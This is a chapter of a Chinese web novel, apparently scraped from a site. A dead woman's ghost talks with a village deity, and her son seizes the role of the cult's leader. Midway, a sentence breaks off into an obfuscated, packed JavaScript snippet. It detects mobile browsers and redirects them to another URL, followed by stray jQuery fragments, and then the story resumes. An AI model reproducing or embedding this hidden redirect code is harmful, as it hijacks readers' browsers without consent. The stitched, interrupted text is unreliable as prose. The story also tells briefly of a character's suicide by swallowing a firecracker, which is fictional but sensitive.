39.一样的雪

作品:《登临塔下

    金铃儿披着白麻布坐在门口的时候,才发现万金花其实没有印象中那么高大。她和银铃儿搬不动床,李得彩在高台上含着兔腿摇摇头表示他不来,于是万金花就被她的两个女儿拖到了春凳上放着。她只比春凳长出半条小腿,无奈地伸到外面耷拉着,银铃儿把她往另一侧拖了拖,就连头也是半仰着的了。


    家里冷冷清清的,倒不是没有人来,而是来的人都不知道要和这两姐妹说什么,也不知道要对万金花说什么。人们面对突如其来的事情时,总是没有什么话要说的。他们大多数进了门,就在草垫上跪着拜一拜,有些还能叹口气,有些转身就走了。


    金铃儿也不在乎他们怎么做,她在一旁的长凳上慢慢地叠纸元宝,一个一个扔到纸箱子里等着一会儿拿出去烧。有人进来她并不抬头看一眼。银铃儿在她身旁晃腿,“她配不上你给她叠元宝。”


    金铃儿折好一个,注视着万金花湿漉漉的脸庞说:“总不能就让她死在外面吧。”


    “外面还是里面有什么区别,不都是咽了气,没了命吗?”


    金铃儿说:“人总要在家里的。”


    银铃儿想了一会儿说:“那以后我得死在你旁边,别的地方都不是家。”


    金铃儿没有搭话,屋里只剩下她叠纸元宝发出的细碎声响,蜡烛燃烧的气味有点难闻,银铃儿去打开了窗。她看到不远处的围墙上又站着小白菜,他顺着围墙的走向一点点远离,朝着登临塔的方向靠近,有人群闹哄哄的声音从那边传过来。


    “他们又像狗一样了。”银铃儿说。


    人世间的喧闹传不到万金花的耳朵里,她在河边坐着,表现出前所未有的安静,好像连铃铛的声音也听不见,我摇响了数下她也不回头。我正要过去叫她的时候,李春生却过来了,他在我背后说:“星君通融几分钟吧,我有话要和她说。”


    我本打算接走万金花之后再与他谈谈先前的事,既然来了,现在问清楚也好,“你刚才是怎么回事?”


    “什么事?”李春生似乎没明白我问的是什么。


    “你不是真的打算在那里被万金花杀了吧?塔还没修完呢。”我说。小白菜才刚刚醒来,他掘墓人的身份还没能好好履行,登临塔也还剩下最后的步骤,中学还有事未了,按照李春生设想的计划,他绝不能死在一切尘埃未定的时候。


    “你是说这个啊。”他低下了头,似乎很愧疚,“我忘记了。抱歉。”


    我不清楚他在抱歉什么,我只想知道原因,“忘记了?是忘了这里还有很多事没有结束,还是忘了可以向我和慧慧发个信号?”


    “二者都有吧。”他说,“我的眼睛不好了,看事情没过去那么清楚。万金花的反应如此强烈是超过了我的预料的,但同时我发现这次她是真的想要小白菜死。所以我就……”


    “你就打算把她的杀意转移到自己身上?”


    “你说得太快了。我会这样做,是因为她直冲冲的杀意让我觉得……”羞于启齿似的,李春生停顿了一会儿才说出这个词,“兴奋。突然我就什么都不记得了,只想着总算能结束了,所有的感知都离我而去,让我变得不清醒了。抱歉。”


    仅仅是回忆当时的场景,我也能从李春生的语气中听出些许激动的情绪。原来他对死亡的渴望已经到了这种地步,我却没有察觉。


    我说:“我只希望你之后不要再忘记了。”


    “不会了。”


    李春生朝着万金花走去,他头上没有戴着冠了,而是用发带束了髻,不难看出是慧慧的手笔。


    河边的人闻到迫近的栗子香味,上半身动了动,但终究没有转过身来看他。李春生说:“万金花,我们聊聊天吧。”


    万金花没有说话,直到李春生跪坐下来,她才上下打量了他一会儿,“你还真长这个样子。”


    “小白菜说的都是真的。”


    万金花从鼻子里发出“哼”的一声,“那他要成仙也是真的了?”


    “仪式是真,只是没有结果罢了。成仙不是那么容易的事,我是没有资格决定的。万金花,你……”


    她打断了李春生,“我知道,我已经死了。我沿着大路想去塔那边,庄子里的那帮人都跟疯了一样跑去查家谱,有什么好查的。他吃了哑药,还能开口说话,你早就抛弃我选了他了,我再说什么也没意义,早晚都是个死。”


    “说到底,都是我对不起你们。”


    万金花说:“你的道德感真高,难怪是神仙呢。可惜在明月庄太有道德是活不下去的。”


    “你去塔那里是想做什么?”


    这是一个万金花意料之外的问题,她转过身来正视李春生,“你不知道?你看不出来?还得问我?你不是神仙吗?”


    李春生很坦诚,“我也不是全知全能的。以前还能感觉出个大概,现在是越来越不行了。你们说出来,我才能知道。”


    “为了死,你信吗?事情都到了这个地步,小白菜肯定是不会留我一命了。委曲求全地活着,还不如死了呢。除了塔那边,我还能去哪儿?回家吗?回了家也会被他们找上门来,为了这样那样的事情再把我揪出去,我真的要烦死了。也不能死在小白菜面前吧,那我还不如跳河去淹死。可我不想淹死。我就在路上走,靠近塔的地方,还没那么闹哄哄。踩在雪里的时候好像踩在棉花上,软趴趴的不舒服,踩实了又好像黏着块泥,说到底我就是不喜欢雪天,真想把全世界的雪全吃了。”


    万金花也的确是这么做的。她一路走,一路抓起脚边或树梢上的雪,也不在手里来回团成结实的球,就这么肉松似的一把往喉咙里塞。雪没有味道,毕竟只是水而已,万金花的口腔里迅速成了冰窟,雪化成水流进胃里,也就带走了她的眼泪。


    她吃出了一条歪歪扭扭的小径,在尽头万金花捡起地上没来得及点燃的小鞭炮,小孩们爱点着了往河里扔,一火柴盒就能装三四个。她用雪包裹住一节,只露出一点引线,拿打火机点了就直起脖子吞药片似的吞下去,把她一辈子的病都治好了。


    “那可不好吞呢,咽得我肺疼。之后眼前就刷地暗了,我还以为太阳被狗吃了呢,原来是死了。”她颇为苦恼地摇摇头,“真没意思。”


    随后万金花又问:“小白菜没成哑巴,是因为你吧?”


    李春生笑了,“是的。”


    “我就知道。”万金花把头转开了,她不再缅怀自己人生的遗憾,也不再对没做到的事耿耿于怀,她比之前更加平静了,成了河边的一口枯井,“原因是啥?为了惩罚我?”


    李春生做出了和她之前一样的回答:“为了死。不过这部分你没必要了解太多。”


    “对啊,我都死了,知道了能有什么用?”她的话语里积攒着怒气,几十年来都是如此,“你当时就该让我死在雪地里。”


    雪地,是啊,万金花的一生就是从雪地里开始的,如今也在雪地里结束了。几十年前的那场雪,下到现在也没停,我看到万金花的头顶有了明显的白发。她口中的这个愿景,晚了将近三十年才以另一种方式实现了。


    李春生说:“我做不到。在当时的情形下,你只是个想要活下来的小姑娘,我又听到了你的愿望,必须救你一命的。”


    “你的有求必应就是这么来的吗?”


    “算是吧。”


    “那那些拜神时用过的小孩呢?我不信他们当中没有人许过愿想活着,你怎么没能应他们的愿望?”


    李春生的神色黯淡下来,“万金花,我虽有着神仙的身份,但也是由人创造的东西。不管是在明月庄,还是世上其他地方,人都是先于神而存在的。我救不回那些孩子,因为你们已经造成了他们必死的结局。就算我从中干扰,你们也只会另寻办法,而不是就此停手,这种情况下,愿望又有什么用呢?”


    万金花问道:“你说人比神优先?那为什么这世上都是神造人的传说,而不是反过来?”


    “我活得时间太短,不能十全十美地解答你的问题。但据我所知,没有哪个神话不是人写的。从人的大脑中构思出来,也从人的笔下写出来,再口口相传,成为一个地方人们的共识。我也一样,李哲在几乎走投无路的时候捏了一个土像,希望世上存在一个能助他功成名就的神明,于是我诞生了。没有人的存在,人的思维,人的活动,神的概念是没有立足点的。”


    “你说得太深奥了。”实际上万金花能听懂,她只是不想继续在这个话题上纠缠下去,对她来说,讨论神和人的先后关系就像讨论先有鸡还是先有蛋一样无聊,她是个什么都做不了的死人了,吉祥天师是不是真的存在也和她没什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145954|163016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么关系。


    “我现在可知道为什么李得彩总是做不好塑像了。”万金花说。


    “为什么?”


    她指了指李春生的脸,“你笑眯眯的,他做出来的都板着脸。”说着便摇摇头,感叹李得彩手艺的徒有其名,“行了,你还有别的要说吗?我刚才就听到铃铛声了,既然你是真的,那燃灯星君送人轮回转世也是真的了。我这辈子已经说了够多的话了。”


    “文慧菩萨托我问你一个问题。”


    “问呗。”


    “万金花,你觉得你是什么人?”


    万金花有些诧异,不晓得这个问题有什么深意,但她也没有追问的兴趣了,“什么都不是。我就是万金花。”


    这是一个很好的回答,是慧慧最喜欢的那种。这个做了二十来年神婆子的女人让明月庄成了一团浆糊,她在这片土地上搅动起烟尘迷住了大多数人的眼睛,自己倒在生命的最后时刻完全看透了自己,明白不同的身份带来的各种各样的枷锁。但明月庄的现状也不能完全怪罪到她身上,这是日积月累的结果,她的分量不比一根稻草更重,一定要追根溯源的话,就绕不开李春生。


    万金花问:“你不是来审判我的?”


    “我说了,只是想和你坐下来聊聊天。不过我确实还有一个问题想问你。”


    “什么?”


    “万金花,如果你现在可以向我许一个愿,你想要什么?”


    万金花注视着清溪河静静的水面说道:“你就把我背上的刺青去掉吧。”


    这是一件很简单的事,在她说完的下一刻,脊背上的诗文就已经消失了。只不过这个过程进行得悄无声息,也没有在皮肤上留下一丝感觉,万金花始终不知道这件事。


    她又问:“像我这样的人,是不是得入畜生道?”


    李春生摇摇头,“这不是我的职责。燃灯星君就在后面,你可以问问他。”


    “算了吧,是什么我都无所谓。我只有一个要求。”


    “什么?”


    “我想再坐会儿。”


    李春生看了我一眼以询问我的意见,这没什么,不会造成任何影响,我便点了点头,给了她五分钟的额外时间。


    这五分钟在现实中只是弹指一瞬,丝毫没有影响到明月庄对新一任大巫的追捧。尽管万金花的尸身还没有下葬,但对于明月庄的人们来说这并没有什么问题。因为当年,万金花也是站在上一任神婆子的尸体边坐上这个位置的。除了神婆子的名号,她现在只是个死去的外乡人罢了。


    小白菜的手上仍然系着那条红绸带,双手背在身后活像个老干部,他在围墙上踢着腿,还摇头晃脑地哼歌。


    那个领头的男人又冲在最前面,“大巫大巫,新官上任三把火,你可有什么指示?尽管吩咐我吧!”


    “呸!”小白菜往他头上啐了一口唾沫,看着男人惊讶又努力压制愤怒的表情笑了出来,他蹲在围墙上对墙边的人们说:“你们啊,脑子都是水泥似的一整块,难怪朽木不可雕。大巫这个称呼是对我妈妈那样的人的称呼,他们本质上还是人。你们还用大巫来称呼我,是觉得我和你们一样,只是普通人吗?”


    领头的男人叫道:“不是不是,你当然不是了,你是我们明月庄几百年以来第一个要登仙的人。可是我们的脑子是水泥,不用大巫就不知道怎么称呼你啊。”


    “这个简单。我已经是仙家的预备役,你们仍然称我为仙童就可以了,没有比这个更合适的称呼。”


    “这个好这个好,熟悉又合适。仙童,那您现在有什么吩咐?”


    小白菜蹲在围墙上摩挲自己的下巴,“此前我大病在身,可以说完全没有参与登临塔的重建工作。现在我的妈妈魂归高天,我也理应接手她的工作,你们说是不是?”


    “诶是是是!”


    “那好呀,我就该去登临塔那里坐镇,好好监督我的父亲李得彩的工作。”小白菜说完就从围墙上往前倾倒,人群爆发出几声尖叫,领头的男人稳稳接住了他。这男人十分情愿地做了小白菜的坐骑,他让小白菜跨坐在脖颈上,昂首挺胸地载着他往塔边走去,看热闹的人们围着这二人,纷纷路过万金花的家门口。


    金铃儿脚前的竹篓装满了,她看着吵闹的人们对银铃儿说:“这个家要散了。”